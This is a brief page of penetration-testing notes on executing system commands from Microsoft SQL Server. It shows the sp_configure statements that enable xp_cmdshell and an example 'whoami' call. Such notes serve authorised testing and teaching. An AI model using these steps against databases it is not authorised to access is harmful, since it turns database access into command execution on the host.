💡 Command Execution

💻 Executing Commands on MSSQL

MSSQL allows for the execution of system commands using xp_cmdshell. However, this feature might be disabled by default and needs to be enabled.

Enable xp_cmdshell

Enable the module.

enable_xp_cmdshell;

EXEC sp_configure 'show advanced options', '1';
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1';
RECONFIGURE;

Execute a Command

Once xp_cmdshell is enabled, we can execute system commands.

exec xp_cmdshell 'whoami';